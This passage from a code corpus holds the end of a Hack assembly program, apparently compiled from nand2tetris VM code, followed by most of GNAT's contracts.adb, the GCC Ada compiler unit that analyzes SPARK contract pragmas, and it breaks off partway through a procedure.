temp 6 @SP M=M-1 A=M D=M @11 M=D // push local 0 @0 D=A @LCL A=D+M D=M @SP A=M M=D @SP M=M+1 // push that 5 @5 D=A @THAT A=D+M D=M @SP A=M M=D @SP M=M+1 // add @SP M=M-1 A=M D=M @SP M=M-1 A=M M=M+D @SP M=M+1 // push argument 1 @1 D=A @ARG A=D+M D=M @SP A=M M=D @SP M=M+1 // sub @SP M=M-1 A=M D=M @SP M=M-1 A=M M=M-D @SP M=M+1 // push this 6 @6 D=A @THIS A=D+M D=M @SP A=M M=D @SP M=M+1 // push this 6 @6 D=A @THIS A=D+M D=M @SP A=M M=D @SP M=M+1 // add @SP M=M-1 A=M D=M @SP M=M-1 A=M M=M+D @SP M=M+1 // sub @SP M=M-1 A=M D=M @SP M=M-1 A=M M=M-D @SP M=M+1 // push temp 6 @11 D=M @SP A=M M=D @SP M=M+1 // add @SP M=M-1 A=M D=M @SP M=M-1 A=M M=M+D @SP M=M+1 (END) @END 0;JMP
Validation/pyFrame3DD-master/gcc-master/gcc/ada/contracts.adb
djamal2727/Main-Bearing-Analytical-Model
0
15336
------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- C O N T R A C T S -- -- -- -- B o d y -- -- -- -- Copyright (C) 2015-2020, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING3. If not, go to -- -- http://www.gnu.org/licenses for a complete copy of the license. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with Aspects; use Aspects; with Atree; use Atree; with Einfo; use Einfo; with Elists; use Elists; with Errout; use Errout; with Exp_Prag; use Exp_Prag; with Exp_Tss; use Exp_Tss; with Exp_Util; use Exp_Util; with Freeze; use Freeze; with Lib; use Lib; with Namet; use Namet; with Nlists; use Nlists; with Nmake; use Nmake; with Opt; use Opt; with Sem; use Sem; with Sem_Aux; use Sem_Aux; with Sem_Ch6; use Sem_Ch6; with Sem_Ch8; use Sem_Ch8; with Sem_Ch12; use Sem_Ch12; with Sem_Ch13; use Sem_Ch13; with Sem_Disp; use Sem_Disp; with Sem_Prag; use Sem_Prag; with Sem_Util; use Sem_Util; with Sinfo; use Sinfo; with Snames; use Snames; with Stand; use Stand; with Stringt; use Stringt; with Tbuild; use Tbuild; package body Contracts is procedure Analyze_Package_Instantiation_Contract (Inst_Id : Entity_Id); -- Analyze all delayed pragmas chained on the contract of package -- instantiation Inst_Id as if they appear at the end of a declarative -- region. The pragmas in question are: -- -- Part_Of procedure Check_Type_Or_Object_External_Properties (Type_Or_Obj_Id : Entity_Id); -- Perform checking of external properties pragmas that is common to both -- type declarations and object declarations. procedure Expand_Subprogram_Contract (Body_Id : Entity_Id); -- Expand the contracts of a subprogram body and its correspoding spec (if -- any). This routine processes all [refined] pre- and postconditions as -- well as Contract_Cases, Subprogram_Variant, invariants and predicates. -- Body_Id denotes the entity of the subprogram body. ----------------------- -- Add_Contract_Item -- ----------------------- procedure Add_Contract_Item (Prag : Node_Id; Id : Entity_Id) is Items : Node_Id := Contract (Id); procedure Add_Classification; -- Prepend Prag to the list of classifications procedure Add_Contract_Test_Case; -- Prepend Prag to the list of contract and test cases procedure Add_Pre_Post_Condition; -- Prepend Prag to the list of pre- and postconditions ------------------------ -- Add_Classification -- ------------------------ procedure Add_Classification is begin Set_Next_Pragma (Prag, Classifications (Items)); Set_Classifications (Items, Prag); end Add_Classification; ---------------------------- -- Add_Contract_Test_Case -- ---------------------------- procedure Add_Contract_Test_Case is begin Set_Next_Pragma (Prag, Contract_Test_Cases (Items)); Set_Contract_Test_Cases (Items, Prag); end Add_Contract_Test_Case; ---------------------------- -- Add_Pre_Post_Condition -- ---------------------------- procedure Add_Pre_Post_Condition is begin Set_Next_Pragma (Prag, Pre_Post_Conditions (Items)); Set_Pre_Post_Conditions (Items, Prag); end Add_Pre_Post_Condition; -- Local variables -- A contract must contain only pragmas pragma Assert (Nkind (Prag) = N_Pragma); Prag_Nam : constant Name_Id := Pragma_Name (Prag); -- Start of processing for Add_Contract_Item begin -- Create a new contract when adding the first item if No (Items) then Items := Make_Contract (Sloc (Id)); Set_Contract (Id, Items); end if; -- Constants, the applicable pragmas are: -- Part_Of if Ekind (Id) = E_Constant then if Prag_Nam = Name_Part_Of then Add_Classification; -- The pragma is not a proper contract item else raise Program_Error; end if; -- Entry bodies, the applicable pragmas are: -- Refined_Depends -- Refined_Global -- Refined_Post elsif Is_Entry_Body (Id) then if Prag_Nam in Name_Refined_Depends | Name_Refined_Global then Add_Classification; elsif Prag_Nam = Name_Refined_Post then Add_Pre_Post_Condition; -- The pragma is not a proper contract item else raise Program_Error; end if; -- Entry or subprogram declarations, the applicable pragmas are: -- Attach_Handler -- Contract_Cases -- Depends -- Extensions_Visible -- Global -- Interrupt_Handler -- Postcondition -- Precondition -- Test_Case -- Volatile_Function elsif Is_Entry_Declaration (Id) or else Ekind (Id) in E_Function | E_Generic_Function | E_Generic_Procedure | E_Procedure then if Prag_Nam in Name_Attach_Handler | Name_Interrupt_Handler and then Ekind (Id) in E_Generic_Procedure | E_Procedure then Add_Classification; elsif Prag_Nam in Name_Depends | Name_Extensions_Visible | Name_Global then Add_Classification; elsif Prag_Nam = Name_Volatile_Function and then Ekind (Id) in E_Function | E_Generic_Function then Add_Classification; elsif Prag_Nam in Name_Contract_Cases | Name_Subprogram_Variant | Name_Test_Case then Add_Contract_Test_Case; elsif Prag_Nam in Name_Postcondition | Name_Precondition then Add_Pre_Post_Condition; -- The pragma is not a proper contract item else raise Program_Error; end if; -- Packages or instantiations, the applicable pragmas are: -- Abstract_States -- Initial_Condition -- Initializes -- Part_Of (instantiation only) elsif Is_Package_Or_Generic_Package (Id) then if Prag_Nam in Name_Abstract_State | Name_Initial_Condition | Name_Initializes then Add_Classification; -- Indicator Part_Of must be associated with a package instantiation elsif Prag_Nam = Name_Part_Of and then Is_Generic_Instance (Id) then Add_Classification; -- The pragma is not a proper contract item else raise Program_Error; end if; -- Package bodies, the applicable pragmas are: -- Refined_States elsif Ekind (Id) = E_Package_Body then if Prag_Nam = Name_Refined_State then Add_Classification; -- The pragma is not a proper contract item else raise Program_Error; end if; -- The four volatility refinement pragmas are ok for all types. -- Part_Of is ok for task types and protected types. -- Depends and Global are ok for task types. elsif Is_Type (Id) then declare Is_OK : constant Boolean := Prag_Nam in Name_Async_Readers | Name_Async_Writers | Name_Effective_Reads | Name_Effective_Writes or else (Ekind (Id) = E_Task_Type and Prag_Nam in Name_Part_Of | Name_Depends | Name_Global) or else (Ekind (Id) = E_Protected_Type and Prag_Nam = Name_Part_Of); begin if Is_OK then Add_Classification; else -- The pragma is not a proper contract item raise Program_Error; end if; end; -- Subprogram bodies, the applicable pragmas are: -- Postcondition -- Precondition -- Refined_Depends -- Refined_Global -- Refined_Post elsif Ekind (Id) = E_Subprogram_Body then if Prag_Nam in Name_Refined_Depends | Name_Refined_Global then Add_Classification; elsif Prag_Nam in Name_Postcondition | Name_Precondition | Name_Refined_Post then Add_Pre_Post_Condition; -- The pragma is not a proper contract item else raise Program_Error; end if; -- Task bodies, the applicable pragmas are: -- Refined_Depends -- Refined_Global elsif Ekind (Id) = E_Task_Body then if Prag_Nam in Name_Refined_Depends | Name_Refined_Global then Add_Classification; -- The pragma is not a proper contract item else raise Program_Error; end if; -- Task units, the applicable pragmas are: -- Depends -- Global -- Part_Of -- Variables, the applicable pragmas are: -- Async_Readers -- Async_Writers -- Constant_After_Elaboration -- Depends -- Effective_Reads -- Effective_Writes -- Global -- No_Caching -- Part_Of elsif Ekind (Id) = E_Variable then if Prag_Nam in Name_Async_Readers | Name_Async_Writers | Name_Constant_After_Elaboration | Name_Depends | Name_Effective_Reads | Name_Effective_Writes | Name_Global | Name_No_Caching | Name_Part_Of then Add_Classification; -- The pragma is not a proper contract item else raise Program_Error; end if; else raise Program_Error; end if; end Add_Contract_Item; ----------------------- -- Analyze_Contracts -- ----------------------- procedure Analyze_Contracts (L : List_Id) is Decl : Node_Id; begin Decl := First (L); while Present (Decl) loop -- Entry or subprogram declarations if Nkind (Decl) in N_Abstract_Subprogram_Declaration | N_Entry_Declaration | N_Generic_Subprogram_Declaration | N_Subprogram_Declaration then declare Subp_Id : constant Entity_Id := Defining_Entity (Decl); begin Analyze_Entry_Or_Subprogram_Contract (Subp_Id); -- If analysis of a class-wide pre/postcondition indicates -- that a class-wide clone is needed, analyze its declaration -- now. Its body is created when the body of the original -- operation is analyzed (and rewritten). if Is_Subprogram (Subp_Id) and then Present (Class_Wide_Clone (Subp_Id)) then Analyze (Unit_Declaration_Node (Class_Wide_Clone (Subp_Id))); end if; end; -- Entry or subprogram bodies elsif Nkind (Decl) in N_Entry_Body | N_Subprogram_Body then Analyze_Entry_Or_Subprogram_Body_Contract (Defining_Entity (Decl)); -- Objects elsif Nkind (Decl) = N_Object_Declaration then Analyze_Object_Contract (Defining_Entity (Decl)); -- Package instantiation elsif Nkind (Decl) = N_Package_Instantiation then Analyze_Package_Instantiation_Contract (Defining_Entity (Decl)); -- Protected units elsif Nkind (Decl) in N_Protected_Type_Declaration | N_Single_Protected_Declaration then Analyze_Protected_Contract (Defining_Entity (Decl)); -- Subprogram body stubs elsif Nkind (Decl) = N_Subprogram_Body_Stub then Analyze_Subprogram_Body_Stub_Contract (Defining_Entity (Decl)); -- Task units elsif Nkind (Decl) in N_Single_Task_Declaration | N_Task_Type_Declaration then Analyze_Task_Contract (Defining_Entity (Decl)); -- For type declarations, we need to do the preanalysis of Iterable -- and the 3 Xxx_Literal aspect specifications. -- Other type aspects need to be resolved here??? elsif Nkind (Decl) = N_Private_Type_Declaration and then Present (Aspect_Specifications (Decl)) then declare E : constant Entity_Id := Defining_Identifier (Decl); It : constant Node_Id := Find_Aspect (E, Aspect_Iterable); I_Lit : constant Node_Id := Find_Aspect (E, Aspect_Integer_Literal); R_Lit : constant Node_Id := Find_Aspect (E, Aspect_Real_Literal); S_Lit : constant Node_Id := Find_Aspect (E, Aspect_String_Literal); begin if Present (It) then Validate_Iterable_Aspect (E, It); end if; if Present (I_Lit) then Validate_Literal_Aspect (E, I_Lit); end if; if Present (R_Lit) then Validate_Literal_Aspect (E, R_Lit); end if; if Present (S_Lit) then Validate_Literal_Aspect (E, S_Lit); end if; end; end if; if Nkind (Decl) in N_Full_Type_Declaration | N_Private_Type_Declaration | N_Task_Type_Declaration | N_Protected_Type_Declaration | N_Formal_Type_Declaration then Analyze_Type_Contract (Defining_Identifier (Decl)); end if; Next (Decl); end loop; end Analyze_Contracts; ----------------------------------------------- -- Analyze_Entry_Or_Subprogram_Body_Contract -- ----------------------------------------------- -- WARNING: This routine manages SPARK regions. Return statements must be -- replaced by gotos which jump to the end of the routine and restore the -- SPARK mode. procedure Analyze_Entry_Or_Subprogram_Body_Contract (Body_Id : Entity_Id) is Body_Decl : constant Node_Id := Unit_Declaration_Node (Body_Id); Items : constant Node_Id := Contract (Body_Id); Spec_Id : constant Entity_Id := Unique_Defining_Entity (Body_Decl); Saved_SM : constant SPARK_Mode_Type := SPARK_Mode; Saved_SMP : constant Node_Id := SPARK_Mode_Pragma; -- Save the SPARK_Mode-related data to restore on exit begin -- When a subprogram body declaration is illegal, its defining entity is -- left unanalyzed. There is nothing left to do in this case because the -- body lacks a contract, or even a proper Ekind. if Ekind (Body_Id) = E_Void then return; -- Do not analyze a contract multiple times elsif Present (Items) then if Analyzed (Items) then return; else Set_Analyzed (Items); end if; end if; -- Due to the timing of contract analysis, delayed pragmas may be -- subject to the wrong SPARK_Mode, usually that of the enclosing -- context. To remedy this, restore the original SPARK_Mode of the -- related subprogram body. Set_SPARK_Mode (Body_Id); -- Ensure that the contract cases or postconditions mention 'Result or -- define a post-state. Check_Result_And_Post_State (Body_Id); -- A stand-alone nonvolatile function body cannot have an effectively -- volatile formal parameter or return type (SPARK RM 7.1.3(9)). This -- check is relevant only when SPARK_Mode is on, as it is not a standard -- legality rule. The check is performed here because Volatile_Function -- is processed after the analysis of the related subprogram body. The -- check only applies to source subprograms and not to generated TSS -- subprograms. if SPARK_Mode = On and then Ekind (Body_Id) in E_Function | E_Generic_Function and then Comes_From_Source (Spec_Id) and then not Is_Volatile_Function (Body_Id) then Check_Nonvolatile_Function_Profile (Body_Id); end if; -- Restore the SPARK_Mode of the enclosing context after all delayed -- pragmas have been analyzed. Restore_SPARK_Mode (Saved_SM, Saved_SMP); -- Capture all global references in a generic subprogram body now that -- the contract has been analyzed. if Is_Generic_Declaration_Or_Body (Body_Decl) then Save_Global_References_In_Contract (Templ => Original_Node (Body_Decl), Gen_Id => Spec_Id); end if; -- Deal with preconditions, [refined] postconditions, Contract_Cases, -- Subprogram_Variant, invariants and predicates associated with body -- and its spec. Do not expand the contract of subprogram body stubs. if Nkind (Body_Decl) = N_Subprogram_Body then Expand_Subprogram_Contract (Body_Id); end if; end Analyze_Entry_Or_Subprogram_Body_Contract; ------------------------------------------ -- Analyze_Entry_Or_Subprogram_Contract -- ------------------------------------------ -- WARNING: This routine manages SPARK regions. Return statements must be -- replaced by gotos which jump to the end of the routine and restore the -- SPARK mode. procedure Analyze_Entry_Or_Subprogram_Contract (Subp_Id : Entity_Id; Freeze_Id : Entity_Id := Empty) is Items : constant Node_Id := Contract (Subp_Id); Subp_Decl : constant Node_Id := Unit_Declaration_Node (Subp_Id); Saved_SM : constant SPARK_Mode_Type := SPARK_Mode; Saved_SMP : constant Node_Id := SPARK_Mode_Pragma; -- Save the SPARK_Mode-related data to restore on exit Skip_Assert_Exprs : constant Boolean := Is_Entry (Subp_Id) and then not GNATprove_Mode; Depends : Node_Id := Empty; Global : Node_Id := Empty; Prag : Node_Id; Prag_Nam : Name_Id; begin -- Do not analyze a contract multiple times if Present (Items) then if Analyzed (Items) then return; else Set_Analyzed (Items); end if; end if; -- Due to the timing of contract analysis, delayed pragmas may be -- subject to the wrong SPARK_Mode, usually that of the enclosing -- context. To remedy this, restore the original SPARK_Mode of the -- related subprogram body. Set_SPARK_Mode (Subp_Id); -- All subprograms carry a contract, but for some it is not significant -- and should not be processed. if not Has_Significant_Contract (Subp_Id) then null; elsif Present (Items) then -- Do not analyze the pre/postconditions of an entry declaration -- unless annotating the original tree for GNATprove. The -- real analysis occurs when the pre/postconditons are relocated to -- the contract wrapper procedure (see Build_Contract_Wrapper). if Skip_Assert_Exprs then null; -- Otherwise analyze the pre/postconditions. -- If these come from an aspect specification, their expressions -- might include references to types that are not frozen yet, in the -- case where the body is a rewritten expression function that is a -- completion, so freeze all types within before constructing the -- contract code. else declare Bod : Node_Id; Freeze_Types : Boolean := False; begin if Present (Freeze_Id) then Bod := Unit_Declaration_Node (Freeze_Id); if Nkind (Bod) = N_Subprogram_Body and then Was_Expression_Function (Bod) and then Ekind (Subp_Id) = E_Function and then Chars (Subp_Id) = Chars (Freeze_Id) and then Subp_Id /= Freeze_Id then Freeze_Types := True; end if; end if; Prag := Pre_Post_Conditions (Items); while Present (Prag) loop if Freeze_Types and then Present (Corresponding_Aspect (Prag)) then Freeze_Expr_Types (Def_Id => Subp_Id, Typ => Standard_Boolean, Expr => Expression (First (Pragma_Argument_Associations (Prag))), N => Bod); end if; Analyze_Pre_Post_Condition_In_Decl_Part (Prag, Freeze_Id); Prag := Next_Pragma (Prag); end loop; end; end if; -- Analyze contract-cases and test-cases Prag := Contract_Test_Cases (Items); while Present (Prag) loop Prag_Nam := Pragma_Name (Prag); if Prag_Nam = Name_Contract_Cases then -- Do not analyze the contract cases of an entry declaration -- unless annotating the original tree for GNATprove. -- The real analysis occurs when the contract cases are moved -- to the contract wrapper procedure (Build_Contract_Wrapper). if Skip_Assert_Exprs then null; -- Otherwise analyze the contract cases else Analyze_Contract_Cases_In_Decl_Part (Prag, Freeze_Id); end if; elsif Prag_Nam = Name_Subprogram_Variant then Analyze_Subprogram_Variant_In_Decl_Part (Prag); else pragma Assert (Prag_Nam = Name_Test_Case); Analyze_Test_Case_In_Decl_Part (Prag); end if; Prag := Next_Pragma (Prag); end loop; -- Analyze classification pragmas Prag := Classifications (Items); while Present (Prag) loop Prag_Nam := Pragma_Name (Prag); if Prag_Nam = Name_Depends then Depends := Prag; elsif Prag_Nam = Name_Global then Global := Prag; end if; Prag := Next_Pragma (Prag); end loop; -- Analyze Global first, as Depends may mention items classified in -- the global categorization. if Present (Global) then Analyze_Global_In_Decl_Part (Global); end if; -- Depends must be analyzed after Global in order to see the modes of -- all global items. if Present (Depends) then Analyze_Depends_In_Decl_Part (Depends); end if; -- Ensure that the contract cases or postconditions mention 'Result -- or define a post-state. Check_Result_And_Post_State (Subp_Id); end if; -- A nonvolatile function cannot have an effectively volatile formal -- parameter or return type (SPARK RM 7.1.3(9)). This check is relevant -- only when SPARK_Mode is on, as it is not a standard legality rule. -- The check is performed here because pragma Volatile_Function is -- processed after the analysis of the related subprogram declaration. if SPARK_Mode = On and then Ekind (Subp_Id) in E_Function | E_Generic_Function and then Comes_From_Source (Subp_Id) and then not Is_Volatile_Function (Subp_Id) then Check_Nonvolatile_Function_Profile (Subp_Id); end if; -- Restore the SPARK_Mode of the enclosing context after all delayed -- pragmas have been analyzed. Restore_SPARK_Mode (Saved_SM, Saved_SMP); -- Capture all global references in a generic subprogram now that the -- contract has been analyzed. if Is_Generic_Declaration_Or_Body (Subp_Decl) then Save_Global_References_In_Contract (Templ => Original_Node (Subp_Decl), Gen_Id => Subp_Id); end if; end Analyze_Entry_Or_Subprogram_Contract; ---------------------------------------------- -- Check_Type_Or_Object_External_Properties -- ---------------------------------------------- procedure Check_Type_Or_Object_External_Properties (Type_Or_Obj_Id : Entity_Id) is function Decl_Kind (Is_Type : Boolean; Object_Kind : String) return String; -- Returns "type" or Object_Kind, depending on Is_Type --------------- -- Decl_Kind -- --------------- function Decl_Kind (Is_Type : Boolean; Object_Kind : String) return String is begin if Is_Type then return "type"; else return Object_Kind; end if; end Decl_Kind; Is_Type_Id : constant Boolean := Is_Type (Type_Or_Obj_Id); -- Local variables AR_Val : Boolean := False; AW_Val : Boolean := False; ER_Val : Boolean := False; EW_Val : Boolean := False; Seen : Boolean := False; Prag : Node_Id; Obj_Typ : Entity_Id; -- Start of processing for Check_Type_Or_Object_External_Properties begin -- Analyze all external properties if Is_Type_Id then Obj_Typ := Type_Or_Obj_Id; -- If the parent type of a derived type is volatile -- then the derived type inherits volatility-related flags. if Is_Derived_Type (Type_Or_Obj_Id) then declare Parent_Type : constant Entity_Id := Etype (Base_Type (Type_Or_Obj_Id)); begin if Is_Effectively_Volatile (Parent_Type) then AR_Val := Async_Readers_Enabled (Parent_Type); AW_Val := Async_Writers_Enabled (Parent_Type); ER_Val := Effective_Reads_Enabled (Parent_Type); EW_Val := Effective_Writes_Enabled (Parent_Type); end if; end; end if; else Obj_Typ := Etype (Type_Or_Obj_Id); end if; Prag := Get_Pragma (Type_Or_Obj_Id, Pragma_Async_Readers); if Present (Prag) then declare Saved_AR_Val : constant Boolean := AR_Val; begin Analyze_External_Property_In_Decl_Part (Prag, AR_Val); Seen := True; if Saved_AR_Val and not AR_Val then Error_Msg_N ("illegal non-confirming Async_Readers specification", Prag); end if; end; end if; Prag := Get_Pragma (Type_Or_Obj_Id, Pragma_Async_Writers); if Present (Prag) then declare Saved_AW_Val : constant Boolean := AW_Val; begin Analyze_External_Property_In_Decl_Part (Prag, AW_Val); Seen := True; if Saved_AW_Val and not AW_Val then Error_Msg_N ("illegal non-confirming Async_Writers specification", Prag); end if; end; end if; Prag := Get_Pragma (Type_Or_Obj_Id, Pragma_Effective_Reads); if Present (Prag) then declare Saved_ER_Val : constant Boolean := ER_Val; begin Analyze_External_Property_In_Decl_Part (Prag, ER_Val); Seen := True; if Saved_ER_Val and not ER_Val then Error_Msg_N ("illegal non-confirming Effective_Reads specification", Prag); end if; end; end if; Prag := Get_Pragma (Type_Or_Obj_Id, Pragma_Effective_Writes); if Present (Prag) then declare Saved_EW_Val : constant Boolean := EW_Val; begin Analyze_External_Property_In_Decl_Part (Prag, EW_Val); Seen := True; if Saved_EW_Val and not EW_Val then Error_Msg_N ("illegal non-confirming Effective_Writes specification", Prag); end if; end; end if; -- Verify the mutual interaction of the various external properties if Seen then Check_External_Properties (Type_Or_Obj_Id, AR_Val, AW_Val, ER_Val, EW_Val); end if; -- The following checks are relevant only when SPARK_Mode is on, as -- they are not standard Ada legality rules. Internally generated -- temporaries are ignored. if SPARK_Mode = On and then Comes_From_Source (Type_Or_Obj_Id) then if Is_Effectively_Volatile (Type_Or_Obj_Id) then -- The declaration of an effectively volatile object or type must -- appear at the library level (SPARK RM 7.1.3(3), C.6(6)). if not Is_Library_Level_Entity (Type_Or_Obj_Id) then Error_Msg_N ("effectively volatile " & Decl_Kind (Is_Type => Is_Type_Id, Object_Kind => "variable") & " & must be declared at library level " & "(SPARK RM 7.1.3(3))", Type_Or_Obj_Id); -- An object of a discriminated type cannot be effectively -- volatile except for protected objects (SPARK RM 7.1.3(5)). elsif Has_Discriminants (Obj_Typ) and then not Is_Protected_Type (Obj_Typ) then Error_Msg_N ("discriminated " & Decl_Kind (Is_Type => Is_Type_Id, Object_Kind => "object") & " & cannot be volatile", Type_Or_Obj_Id); end if; -- An object decl shall be compatible with respect to volatility -- with its type (SPARK RM 7.1.3(2)). if not Is_Type_Id then if Is_Effectively_Volatile (Obj_Typ) then Check_Volatility_Compatibility (Type_Or_Obj_Id, Obj_Typ, "volatile object", "its type", Srcpos_Bearer => Type_Or_Obj_Id); end if; -- A component of a composite type (in this case, the composite -- type is an array type) shall be compatible with respect to -- volatility with the composite type (SPARK RM 7.1.3(6)). elsif Is_Array_Type (Obj_Typ) then Check_Volatility_Compatibility (Component_Type (Obj_Typ), Obj_Typ, "component type", "its enclosing array type", Srcpos_Bearer => Obj_Typ); -- A component of a composite type (in this case, the composite -- type is a record type) shall be compatible with respect to -- volatility with the composite type (SPARK RM 7.1.3(6)). elsif Is_Record_Type (Obj_Typ) then declare Comp : Entity_Id := First_Component (Obj_Typ); begin while Present (Comp) loop Check_Volatility_Compatibility (Etype (Comp), Obj_Typ, "record component " & Get_Name_String (Chars (Comp)), "its enclosing record type", Srcpos_Bearer => Comp); Next_Component (Comp); end loop; end; end if; -- The type or object is not effectively volatile else -- A non-effectively volatile type cannot have effectively -- volatile components (SPARK RM 7.1.3(6)). if Is_Type_Id and then not Is_Effectively_Volatile (Type_Or_Obj_Id) and then Has_Volatile_Component (Type_Or_Obj_Id) then Error_Msg_N ("non-volatile type & cannot have volatile" & " components", Type_Or_Obj_Id); end if; end if; end if; end Check_Type_Or_Object_External_Properties; ----------------------------- -- Analyze_Object_Contract -- ----------------------------- -- WARNING: This routine manages SPARK regions. Return statements must be -- replaced by gotos which jump to the end of the routine and restore the -- SPARK mode. procedure Analyze_Object_Contract (Obj_Id : Entity_Id; Freeze_Id : Entity_Id := Empty) is Obj_Typ : constant Entity_Id := Etype (Obj_Id); Saved_SM : constant SPARK_Mode_Type := SPARK_Mode; Saved_SMP : constant Node_Id := SPARK_Mode_Pragma; -- Save the SPARK_Mode-related data to restore on exit NC_Val : Boolean := False; Items : Node_Id; Prag : Node_Id; Ref_Elmt : Elmt_Id; begin -- The loop parameter in an element iterator over a formal container -- is declared with an object declaration, but no contracts apply. if Ekind (Obj_Id) = E_Loop_Parameter then return; end if; -- Do not analyze a contract multiple times Items := Contract (Obj_Id); if Present (Items) then if Analyzed (Items) then return; else Set_Analyzed (Items); end if; end if; -- The anonymous object created for a single concurrent type inherits -- the SPARK_Mode from the type. Due to the timing of contract analysis, -- delayed pragmas may be subject to the wrong SPARK_Mode, usually that -- of the enclosing context. To remedy this, restore the original mode -- of the related anonymous object. if Is_Single_Concurrent_Object (Obj_Id) and then Present (SPARK_Pragma (Obj_Id)) then Set_SPARK_Mode (Obj_Id); end if; -- Constant-related checks if Ekind (Obj_Id) = E_Constant then -- Analyze indicator Part_Of Prag := Get_Pragma (Obj_Id, Pragma_Part_Of); -- Check whether the lack of indicator Part_Of agrees with the -- placement of the constant with respect to the state space. if No (Prag) then Check_Missing_Part_Of (Obj_Id); end if; -- A constant cannot be effectively volatile (SPARK RM 7.1.3(4)). -- This check is relevant only when SPARK_Mode is on, as it is not -- a standard Ada legality rule. Internally-generated constants that -- map generic formals to actuals in instantiations are allowed to -- be volatile. if SPARK_Mode = On and then Comes_From_Source (Obj_Id) and then Is_Effectively_Volatile (Obj_Id) and then No (Corresponding_Generic_Association (Parent (Obj_Id))) then Error_Msg_N ("constant cannot be volatile", Obj_Id); end if; -- Variable-related checks else pragma Assert (Ekind (Obj_Id) = E_Variable); Check_Type_Or_Object_External_Properties (Type_Or_Obj_Id => Obj_Id); -- Analyze the non-external volatility property No_Caching Prag := Get_Pragma (Obj_Id, Pragma_No_Caching); if Present (Prag) then Analyze_External_Property_In_Decl_Part (Prag, NC_Val); end if; -- The anonymous object created for a single task type carries -- pragmas Depends and Global of the type. if Is_Single_Task_Object (Obj_Id) then -- Analyze Global first, as Depends may mention items classified -- in the global categorization. Prag := Get_Pragma (Obj_Id, Pragma_Global); if Present (Prag) then Analyze_Global_In_Decl_Part (Prag); end if; -- Depends must be analyzed after Global in order to see the modes -- of all global items. Prag := Get_Pragma (Obj_Id, Pragma_Depends); if Present (Prag) then Analyze_Depends_In_Decl_Part (Prag); end if; end if; Prag := Get_Pragma (Obj_Id, Pragma_Part_Of); -- Analyze indicator Part_Of if Present (Prag) then Analyze_Part_Of_In_Decl_Part (Prag, Freeze_Id); -- The variable is a constituent of a single protected/task type -- and behaves as a component of the type. Verify that references -- to the variable occur within the definition or body of the type -- (SPARK RM 9.3). if Present (Encapsulating_State (Obj_Id)) and then Is_Single_Concurrent_Object (Encapsulating_State (Obj_Id)) and then Present (Part_Of_References (Obj_Id)) then Ref_Elmt := First_Elmt (Part_Of_References (Obj_Id)); while Present (Ref_Elmt) loop Check_Part_Of_Reference (Obj_Id, Node (Ref_Elmt)); Next_Elmt (Ref_Elmt); end loop; end if; -- Otherwise check whether the lack of indicator Part_Of agrees with -- the placement of the variable with respect to the state space. else Check_Missing_Part_Of (Obj_Id); end if; end if; -- Common checks if Comes_From_Source (Obj_Id) and then Is_Ghost_Entity (Obj_Id) then -- A Ghost object cannot be of a type that yields a synchronized -- object (SPARK RM 6.9(19)). if Yields_Synchronized_Object (Obj_Typ) then Error_Msg_N ("ghost object & cannot be synchronized", Obj_Id); -- A Ghost object cannot be effectively volatile (SPARK RM 6.9(7) and -- SPARK RM 6.9(19)). elsif Is_Effectively_Volatile (Obj_Id) then Error_Msg_N ("ghost object & cannot be volatile", Obj_Id); -- A Ghost object cannot be imported or exported (SPARK RM 6.9(7)). -- One exception to this is the object that represents the dispatch -- table of a Ghost tagged type, as the symbol needs to be exported. elsif Is_Exported (Obj_Id) then Error_Msg_N ("ghost object & cannot be exported", Obj_Id); elsif Is_Imported (Obj_Id) then Error_Msg_N ("ghost object & cannot be imported", Obj_Id); end if; end if; -- Restore the SPARK_Mode of the enclosing context after all delayed -- pragmas have been analyzed. Restore_SPARK_Mode (Saved_SM, Saved_SMP); end Analyze_Object_Contract; ----------------------------------- -- Analyze_Package_Body_Contract -- ----------------------------------- -- WARNING: This routine manages SPARK regions. Return statements must be -- replaced by gotos which jump to the end of the routine and restore the -- SPARK mode. procedure Analyze_Package_Body_Contract (Body_Id : Entity_Id; Freeze_Id : Entity_Id := Empty) is Body_Decl : constant Node_Id := Unit_Declaration_Node (Body_Id); Items : constant Node_Id := Contract (Body_Id); Spec_Id : constant Entity_Id := Spec_Entity (Body_Id); Saved_SM : constant SPARK_Mode_Type := SPARK_Mode; Saved_SMP : constant Node_Id := SPARK_Mode_Pragma; -- Save the SPARK_Mode-related data to restore on exit Ref_State : Node_Id; begin -- Do not analyze a contract multiple times if Present (Items) then if Analyzed (Items) then return; else Set_Analyzed (Items); end if; end if; -- Due to the timing of contract analysis, delayed pragmas may be -- subject to the wrong SPARK_Mode, usually that of the enclosing -- context. To remedy this, restore the original SPARK_Mode of the -- related package body. Set_SPARK_Mode (Body_Id); Ref_State := Get_Pragma (Body_Id, Pragma_Refined_State); -- The analysis of pragma Refined_State detects whether the spec has -- abstract states available for refinement. if Present (Ref_State) then Analyze_Refined_State_In_Decl_Part (Ref_State, Freeze_Id); end if; -- Restore the SPARK_Mode of the enclosing context after all delayed -- pragmas have been analyzed. Restore_SPARK_Mode (Saved_SM, Saved_SMP); -- Capture all global references in a generic package body now that the -- contract has been analyzed. if Is_Generic_Declaration_Or_Body (Body_Decl) then Save_Global_References_In_Contract (Templ => Original_Node (Body_Decl), Gen_Id => Spec_Id); end if; end Analyze_Package_Body_Contract; ------------------------------ -- Analyze_Package_Contract -- ------------------------------ -- WARNING: This routine manages SPARK regions. Return statements must be -- replaced by gotos which jump to the end of the routine and restore the -- SPARK mode. procedure Analyze_Package_Contract (Pack_Id : Entity_Id) is Items : constant Node_Id := Contract (Pack_Id); Pack_Decl : constant Node_Id := Unit_Declaration_Node (Pack_Id); Saved_SM : constant SPARK_Mode_Type := SPARK_Mode; Saved_SMP : constant Node_Id := SPARK_Mode_Pragma; -- Save the SPARK_Mode-related data to restore on exit Init : Node_Id := Empty; Init_Cond : Node_Id := Empty; Prag : Node_Id; Prag_Nam : Name_Id; begin -- Do not analyze a contract multiple times if 